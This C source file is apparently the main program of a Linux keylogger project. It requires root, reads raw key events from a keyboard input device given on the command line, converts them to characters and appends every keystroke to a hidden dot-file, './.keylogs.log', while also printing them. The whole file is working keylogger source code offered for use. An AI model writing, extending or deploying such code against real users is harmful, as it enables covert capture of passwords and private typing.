Linux-Keylogger/main.c

#include <linux/input.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#include "keylogger.h"
#include "mappings.h"


int main(int argc, char *argv[]) {
    // Convert key codes to string values
    // ex: mappings[code] = "value"
    char * mappings[1024];
    int i;
    for (i=0; i<1024; i++)  mappings[i] = "invalid";
    generate_mappings(mappings);


    // Check for errors
    if (input_has_errors(argc, argv)) {
        return -1;
    }
    if (!user_is_root()) {
        return -1;
    }

    // Start keyboard device as read only
    int fd;
    fd = open(argv[1], O_RDONLY);

    // Initialize input event
    struct input_event ev;

    // Scan for key strokes and print them
   

    // Open log file for append
    FILE * logfile;
    logfile = fopen("./.keylogs.log", "a");


    puts("Keylogger started. Stop it using Ctrl-C");
    while (1){
        int key_code = get_key_press(fd, ev); // get key code
        if (key_code < 1024) {
            char * log = mappings[key_code];
            printf("%s\n", log);         // print value of key code
            fprintf(logfile, "%s", log); // write to log file
        }
        fflush(logfile);
    }

    return 0;
}